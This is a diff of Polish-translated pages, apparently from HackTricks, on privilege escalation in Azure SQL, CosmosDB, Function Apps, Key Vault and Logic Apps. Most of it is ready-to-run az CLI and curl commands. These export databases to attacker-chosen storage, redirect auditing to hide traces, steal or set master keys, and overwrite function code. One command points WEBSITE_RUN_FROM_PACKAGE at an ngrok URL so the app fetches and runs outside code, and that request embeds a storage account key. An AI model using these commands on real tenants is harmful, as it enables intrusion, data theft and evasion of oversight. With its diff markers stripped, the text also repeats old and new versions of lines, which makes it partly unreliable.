Dzięki tym uprawnieniom, atakujący może tworzyć i aktualizować elasticPools w skompromitowanym środowisku. Ta aktywność po eksploatacji może pozwolić atakującemu na dodanie złośliwych danych, modyfikację konfiguracji bazy danych lub wstawienie tylnej furtki dla dalszej persystencji, co potencjalnie może zakłóc operacje lub umożliwić dodatkowe złośliwe działania.
```bash
# Create Elastic Pool
az sql elastic-pool create \
@@ -40,9 +40,9 @@ az sql elastic-pool update \
--dtu <new-dtu-value> \
--tags <key=value>
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
Dzięki temu uprawnieniu możesz modyfikować lub włączać ustawienia audytu na serwerze Azure SQL. Może to pozwolić atakującemu lub uprawnionemu użytkownikowi na manipulowanie konfiguracjami audytu, potencjalnie ukrywając ślady lub przekierowując dzienniki audytu do lokalizacji pod ich kontrolą. Może to utrudnić monitorowanie bezpieczeństwa lub umożliwić śledzenie działań. UWAGA: Aby włączyć audyt dla serwera Azure SQL przy użyciu Blob Storage, musisz podłączyć konto magazynowe, w którym mogą być zapisywane dzienniki audytu.
Dzięki temu uprawnieniu możesz modyfikować lub włączać ustawienia audytu na serwerze Azure SQL. Może to pozwolić atakującemu lub uprawnionemu użytkownikowi na manipulację konfiguracjami audytu, potencjalnie ukrywając ślady lub przekierowując dzienniki audytu do lokalizacji pod ich kontrolą. Może to utrudnić monitorowanie bezpieczeństwa lub umożliwić śledzenie działań. UWAGA: Aby włączyć audyt dla serwera Azure SQL przy użyciu Blob Storage, musisz podłączyć konto magazynowe, w którym mogą być zapisywane dzienniki audytu.
```bash
az sql server audit-policy update \
--server <server_name> \
@@ -51,7 +51,7 @@ az sql server audit-policy update \
--storage-account <storage_account_name> \
--retention-days 7
```
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
Dzięki temu uprawnieniu możesz modyfikować polityki połączeń serwera Azure SQL. Ta funkcjonalność może być wykorzystana do włączenia lub zmiany ustawień połączeń na poziomie serwera.
```bash
@@ -60,9 +60,9 @@ az sql server connection-policy update \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### "Microsoft.Sql/servers/databases/export/action"
### `Microsoft.Sql/servers/databases/export/action`
Dzięki temu uprawnieniu możesz eksportować bazę danych z serwera Azure SQL do konta magazynowego. Atakujący lub uprawniony użytkownik z tym uprawnieniem może wyeksportować wrażliwe dane z bazy danych do lokalizacji, którą kontroluje, co stanowi istotne ryzyko naruszenia danych. Ważne jest, aby znać klucz magazynu, aby móc to wykonać.
Dzięki temu uprawnieniu możesz eksportować bazę danych z Azure SQL Server do konta magazynowego. Atakujący lub uprawniony użytkownik z tym uprawnieniem może wyeksportować wrażliwe dane z bazy danych do lokalizacji, którą kontroluje, co stanowi istotne ryzyko naruszenia danych. Ważne jest, aby znać klucz magazynu, aby móc to wykonać.
```bash
az sql db export \
--server <server_name> \
@@ -74,9 +74,9 @@ az sql db export \
--admin-password <admin_password>
```
### "Microsoft.Sql/servers/databases/import/action"
### `Microsoft.Sql/servers/databases/import/action`
Dzięki temu uprawnieniu możesz zaimportować bazę danych do serwera Azure SQL. Atakujący lub uprawniony użytkownik z tym uprawnieniem może potencjalnie przesłać złośliwe lub zmanipulowane bazy danych. Może to prowadzić do uzyskania kontroli nad wrażliwymi danymi lub poprzez osadzenie szkodliwych skryptów lub wyzwalaczy w zaimportowanej bazie danych. Dodatkowo możesz zaimportować ją na własny serwer w Azure. Uwaga: Serwer musi zezwalać na dostęp usług i zasobów Azure do serwera.
Dzięki temu uprawnieniu możesz zaimportować bazę danych do Azure SQL Server. Atakujący lub uprawniony użytkownik z tym uprawnieniem może potencjalnie przesłać złośliwe lub zmanipulowane bazy danych. Może to prowadzić do przejęcia kontroli nad wrażliwymi danymi lub poprzez osadzenie szkodliwych skryptów lub wyzwalaczy w zaimportowanej bazie danych. Dodatkowo możesz zaimportować ją na własny serwer w Azure. Uwaga: Serwer musi zezwalać na dostęp usług i zasobów Azure do serwera.
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
@@ -85,6 +85,6 @@ az sql db import --admin-user <admin-user> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -5,15 +5,13 @@
## CosmosDB Privesc
Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
Dzięki tym uprawnieniom możesz eskalować uprawnienia, przyznając użytkownikowi uprawnienia do wykonywania zapytań i łączenia się z bazą danych. Najpierw tworzona jest definicja roli, przyznająca niezbędne uprawnienia i zakresy.
{% code overflow="wrap" %}
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
{% endcode %}
Po tym przypisanie definicji jest nadawane użytkownikowi. Po tym użytkownik może użyć metody połączenia DefaultAzureCredential() do wykonywania zapytań.
{% code overflow="wrap" %}
Po tym przypisanie definicji jest nadawane użytkownikowi. Po tym użytkownik może używać metody połączenia DefaultAzureCredential() do wykonywania zapytań.
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
Dzięki temu uprawnieniu możesz uzyskać dostęp do kluczy głównych i pomocniczych dla konta Azure Cosmos DB. Klucze te zapewniają pełny dostęp do konta bazy danych i jego zasobów, umożliwiając działania takie jak odczytywanie danych, zapisywanie oraz zmiany konfiguracji.
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Dzięki temu uprawnieniu możesz uzyskać dostęp do kluczy głównych i pomocniczych dla konta Azure Cosmos DB. Te klucze zapewniają pełny dostęp do konta bazy danych i jego zasobów, umożliwiając działania takie jak odczytywanie danych, zapisywanie i zmiany konfiguracji.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,8 +1,8 @@
# Az - Funkcje Aplikacji Privesc
# Az - Functions App Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Aplikacje Funkcyjne
## Function Apps
Sprawdź następującą stronę, aby uzyskać więcej informacji:
@@ -10,28 +10,28 @@ Sprawdź następującą stronę, aby uzyskać więcej informacji:
../az-services/az-function-apps.md
{{#endref}}
### Odczyt/Zapis Koszyka
### Bucket Read/Write
Mając uprawnienia do odczytu kontenerów w ramach Konta Storage, które przechowuje dane funkcji, można znaleźć **różne kontenery** (niestandardowe lub o zdefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**.
Mając uprawnienia do odczytu kontenerów w ramach Konta Storage, które przechowuje dane funkcji, można znaleźć **różne kontenery** (niestandardowe lub o predefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**.
Gdy znajdziesz, gdzie znajduje się kod funkcji, jeśli masz nad nim uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i podnieść uprawnienia do zarządzanych tożsamości przypisanych do funkcji.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
Kod funkcji jest zazwyczaj przechowywany w udostępnionym pliku. Przy wystarczającym dostępie można zmodyfikować plik kodu i **sprawić, że funkcja załaduje dowolny kod**, co pozwala na podniesienie uprawnień do zarządzanych tożsamości przypisanych do Funkcji.
Kod funkcji jest zazwyczaj przechowywany w udostępnionym pliku. Przy wystarczającym dostępie można zmodyfikować plik kodu i **sprawić, że funkcja załaduje dowolny kod**, co pozwala na podniesienie uprawnień do zarządzanych tożsamości przypisanych do funkcji.
Ta metoda wdrażania zazwyczaj konfiguruje ustawienia **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`**, które można uzyskać z&#x20;
Ta metoda wdrażania zazwyczaj konfiguruje ustawienia **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`**, które można uzyskać z
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Te konfiguracje będą zawierać **Klucz Konta Magazynu**, który Funkcja może wykorzystać do uzyskania dostępu do kodu.
Te konfiguracje będą zawierać **Storage Account Key**, który Funkcja może wykorzystać do uzyskania dostępu do kodu.
> [!OSTRZEŻENIE]
> Posiadając wystarczające uprawnienia do połączenia z Udostępnionym Plikiem i **zmodyfikowania skryptu**, możliwe jest wykonanie dowolnego kodu w Funkcji i eskalacja uprawnień.
> [!CAUTION]
> Mając wystarczające uprawnienia do połączenia z File Share i **zmodyfikowania skryptu**, możliwe jest wykonanie dowolnego kodu w Funkcji i eskalacja uprawnień.
Poniższy przykład używa macOS do połączenia z udostępnionym plikiem, ale zaleca się również sprawdzenie poniższej strony w celu uzyskania dodatkowych informacji na temat udostępnionych plików:
Poniższy przykład używa macOS do połączenia z udostępnionym folderem, ale zaleca się również sprawdzenie poniższej strony w celu uzyskania dodatkowych informacji na temat udostępnionych folderów:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Często można znaleźć **zip releases** w folderze `function-releases` kontenera Storage Account, z którego korzysta aplikacja funkcji, w kontenerze **zwykle nazywanym `function-releases`**.
Często można znaleźć **zip releases** w folderze `function-releases` kontenera Storage Account, którego używa aplikacja funkcji w kontenerze **zwykle nazywanym `function-releases`**.
Zazwyczaj ta metoda wdrażania ustawia konfigurację `WEBSITE_RUN_FROM_PACKAGE` w:
```bash
@@ -58,15 +58,15 @@ az functionapp config appsettings list \
Ta konfiguracja zazwyczaj zawiera **SAS URL do pobrania** kodu z Konta Storage.
> [!CAUTION]
> Mając wystarczające uprawnienia do połączenia z kontenerem blob, który **zawiera kod w zip**, możliwe jest wykonanie dowolnego kodu w Funkcji i eskalacja uprawnień.
> Mając wystarczające uprawnienia do połączenia z kontenerem blob, który **zawiera kod w zipie**, możliwe jest wykonanie dowolnego kodu w Funkcji i eskalacja uprawnień.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
Podobnie jak w poprzednim przypadku, jeśli wdrożenie odbywa się za pomocą Github Actions, możliwe jest znalezienie folderu **`github-actions-deploy`** w Koncie Storage zawierającego zip z kodem oraz SAS URL do zip w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`.
Podobnie jak w poprzednim przypadku, jeśli wdrożenie odbywa się za pomocą Github Actions, możliwe jest znalezienie folderu **`github-actions-deploy`** w Koncie Storage zawierającego zip z kodem oraz SAS URL do zipa w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
Mając uprawnienia do odczytu kontenerów wewnątrz Konta Storage, które przechowuje dane funkcji, możliwe jest znalezienie kontenera **`scm-releases`**. Tam można znaleźć najnowszą wersję w **formacie pliku systemu plików Squashfs** i w związku z tym możliwe jest odczytanie kodu funkcji:
Mając uprawnienia do odczytu kontenerów wewnątrz Konta Storage, które przechowuje dane funkcji, możliwe jest znalezienie kontenera **`scm-releases`**. Tam można znaleźć najnowsze wydanie w **formacie pliku systemu plików Squashfs** i w związku z tym możliwe jest odczytanie kodu funkcji:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Możliwe jest również znalezienie **kluczy master i functions** przechowywanych w koncie magazynu w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **`<app-name>`** w plikach JSON, które można tam znaleźć.
> [!CAUTION]
> Posiadając wystarczające uprawnienia do połączenia z kontenerem blob, który **zawiera kod w pliku z rozszerzeniem zip** (który w rzeczywistości jest **`squashfs`**), możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
> Mając wystarczające uprawnienia do połączenia z kontenerem blob, który **zawiera kod w pliku z rozszerzeniem zip** (który w rzeczywistości jest **`squashfs`**), możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -116,9 +116,9 @@ az storage blob upload \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### Microsoft.Web/sites/host/listkeys/action
### `Microsoft.Web/sites/host/listkeys/action`
To uprawnienie pozwala na wylistowanie kluczy funkcji, klucza głównego i kluczy systemowych, ale nie klucza hosta, dla określonej funkcji z:
To uprawnienie pozwala na wylistowanie kluczy funkcji, klucza głównego i kluczy systemowych, ale nie klucza hosta, dla określonej funkcji za pomocą:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
@@ -143,34 +143,34 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
### Microsoft.Web/sites/functions/listKeys/action
### `Microsoft.Web/sites/functions/listKeys/action`
To uprawnienie pozwala na uzyskanie klucza hosta dla określonej funkcji za pomocą:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### Microsoft.Web/sites/host/functionKeys/write
### `Microsoft.Web/sites/host/functionKeys/write`
To uprawnienie pozwala na tworzenie/aktualizowanie klucza funkcji określonej funkcji z:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/host/masterKey/write
### `Microsoft.Web/sites/host/masterKey/write`
To uprawnienie pozwala na utworzenie/aktualizację klucza głównego dla określonej funkcji z:
To uprawnienie pozwala na utworzenie/aktualizację klucza głównego dla określonej funkcji za pomocą:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!OSTRZEŻENIE]
> Pamiętaj, że za pomocą tego klucza możesz również uzyskać dostęp do kodu źródłowego i go modyfikować, jak wyjaśniono wcześniej!
### Microsoft.Web/sites/host/systemKeys/write
### `Microsoft.Web/sites/host/systemKeys/write`
To uprawnienie pozwala na tworzenie/aktualizowanie klucza funkcji systemowej dla określonej funkcji z:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/config/list/action
### `Microsoft.Web/sites/config/list/action`
To uprawnienie pozwala na uzyskanie ustawień funkcji. W tych konfiguracjach może być możliwe znalezienie domyślnych wartości **`AzureWebJobsStorage`** lub **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, które zawierają **klucz konta do uzyskania dostępu do magazynu blobów funkcji z pełnymi uprawnieniami**.
```bash
@@ -181,11 +181,11 @@ Ponadto, to uprawnienie pozwala również na uzyskanie **nazwa użytkownika i ha
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Te uprawnienia pozwalają na wylistowanie wartości konfiguracyjnych funkcji, jak widzieliśmy wcześniej, oraz **modyfikację tych wartości**. Jest to przydatne, ponieważ te ustawienia wskazują, gdzie znajduje się kod do wykonania wewnątrz funkcji.&#x20;
Te uprawnienia pozwalają na wylistowanie wartości konfiguracyjnych funkcji, jak widzieliśmy wcześniej, oraz **modyfikację tych wartości**. Jest to przydatne, ponieważ te ustawienia wskazują, gdzie znajduje się kod do wykonania wewnątrz funkcji.
Możliwe jest zatem ustawienie wartości ustawienia **`WEBSITE_RUN_FROM_PACKAGE`** wskazującego na plik zip z URL zawierający nowy kod do wykonania wewnątrz aplikacji webowej:
Możliwe jest zatem ustawienie wartości ustawienia **`WEBSITE_RUN_FROM_PACKAGE`** wskazującego na plik zip URL zawierający nowy kod do wykonania wewnątrz aplikacji webowej:
- Zacznij od pobrania bieżącej konfiguracji
```bash
@@ -193,7 +193,7 @@ az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Stwórz kod, który chcesz, aby funkcja uruchomiła i udostępnij go publicznie
- Stwórz kod, który chcesz, aby funkcja uruchamiała i udostępnij go publicznie
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### Microsoft.Web/sites/hostruntime/vfs/write
### `Microsoft.Web/sites/hostruntime/vfs/write`
Z tym uprawnieniem **możliwe jest modyfikowanie kodu aplikacji** za pośrednictwem konsoli internetowej (lub za pośrednictwem następującego punktu końcowego API):
Z tym uprawnieniem **możliwe jest modyfikowanie kodu aplikacji** za pomocą konsoli internetowej (lub za pomocą następującego punktu końcowego API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Te uprawnienia pozwalają na wylistowanie wszystkich profili publikacji, które zasadniczo zawierają **podstawowe dane uwierzytelniające**:
```bash
@@ -240,7 +240,7 @@ az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Jeśli dane logowania **REDACTED**
- Jeśli dane logowania **REDACTED**
Jeśli widzisz, że te dane logowania są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowej autoryzacji SCM** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Metoda SCM**
Następnie możesz uzyskać dostęp za pomocą tych **podstawowych poświadczeń uwierzytelniających do adresu URL SCM** twojej aplikacji funkcji i uzyskać wartości zmiennych środowiskowych:
Następnie możesz uzyskać dostęp za pomocą tych **podstawowych poświadczeń uwierzytelniających do adresu URL SCM** swojej aplikacji funkcji i uzyskać wartości zmiennych środowiskowych:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -299,38 +299,29 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), to uprawnienie pozwala na **wykonywanie poleceń wewnątrz serwera SCM**, co może być użyte do modyfikacji kodu źródłowego aplikacji:
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
### Microsoft.Web/sites/hostruntime/vfs/read
### `Microsoft.Web/sites/hostruntime/vfs/read`
To uprawnienie pozwala na **odczytanie kodu źródłowego** aplikacji przez VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### Microsoft.Web/sites/functions/token/action
### `Microsoft.Web/sites/functions/token/action`
Dzięki temu uprawnieniu możliwe jest [uzyskanie **tokena administratora**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), który można później wykorzystać do uzyskania **klucza głównego** i tym samym uzyskania dostępu do kodu funkcji oraz jego modyfikacji:
Z tym uprawnieniem możliwe jest [uzyskanie **tokena administratora**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), który można później wykorzystać do uzyskania **klucza głównego** i tym samym dostępu do kodu funkcji oraz jego modyfikacji.
Jednak w moich ostatnich sprawdzeniach żaden token nie został zwrócony, więc może być wyłączony lub już nie działa, ale oto jak byś to zrobił:
```bash
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Te uprawnienia pozwalają na **włączenie funkcji**, które mogą być wyłączone (lub ich wyłączenie).
Te uprawnienia pozwalają na **włączanie funkcji**, które mogą być wyłączone (lub ich wyłączanie).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -342,7 +333,7 @@ Możliwe jest również sprawdzenie, czy funkcja jest włączona, czy wyłączon
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez aplikację funkcji** skonfigurowaną do uruchamiania kontenera. Pozwoliłoby to atakującemu na przesłanie złośliwej aplikacji kontenera funkcji azure do docker hub (na przykład) i sprawienie, by funkcja ją wykonała.
```bash
@@ -350,7 +341,7 @@ az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Dzięki tym uprawnieniom możliwe jest **przypisanie nowej tożsamości zarządzanej przez użytkownika do funkcji**. Jeśli funkcja została skompromitowana, umożliwiłoby to eskalację uprawnień do dowolnej tożsamości zarządzanej przez użytkownika.
```bash
@@ -371,10 +362,10 @@ Mając uprawnienia `Microsoft.Web/sites/config/write`, możliwe jest również w
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Zmi repozytorium Github
### Zmiana repozytorium Github
Próbowałem zmienić repozytorium Github, z którego odbywa się wdrożenie, wykonując następujące polecenia, ale nawet jeśli się zmieniło, **nowy kod nie został załadowany** (prawdopodobnie dlatego, że oczekuje, że Github Action zaktualizuje kod).\
Co więcej, **poświadczenie federacyjne zarządzanej tożsamości nie zostało zaktualizowane**, co pozwala na nowe repozytorium, więc wygląda na to, że to nie jest zbyt przydatne.
Co więcej, **poświadczenie federacyjne zarządzanej tożsamości nie zostało zaktualizowane**, co pozwalałoby na nowe repozytorium, więc wygląda na to, że to nie jest zbyt przydatne.
```bash
# Remove current
az functionapp deployment source delete \
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji na temat tej usługi, sprawdź:
../az-services/az-keyvault.md
{{#endref}}
### Microsoft.KeyVault/vaults/write
### `Microsoft.KeyVault/vaults/write`
Atakujący z tym uprawnieniem będzie mógł zmodyfikować politykę skarbca kluczy (skarbiec kluczy musi używać polityk dostępu zamiast RBAC).
```bash
@@ -5,15 +5,13 @@
## Logic Apps Privesc
Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
Dzięki temu uprawnieniu możesz tworzyć lub aktualizować przepływy pracy Azure Logic Apps. Przepływy pracy definiują zautomatyzowane procesy i integracje między różnymi systemami i usługami.
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
@@ -26,9 +24,7 @@ az logic workflow update \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
A po dokonaniu zmian, możesz to uruchomić za pomocą:
A po zmianie możesz to uruchomić za pomocą:
```bash
az rest \
--method post \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
Dzięki tym uprawnieniom możesz wdrażać przepływy pracy Logic App za pomocą wdrożeń plików ZIP. Te uprawnienia umożliwiają działania takie jak odczyt szczegółów aplikacji, dostęp do poświadczeń publikacji, wprowadzanie zmian i wyświetlanie konfiguracji aplikacji. Wraz z uprawnieniami do uruchamiania możesz zaktualizować i wdrożyć nową Logic App z pożądanym zawartością.
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
## MySQL Database Privesc
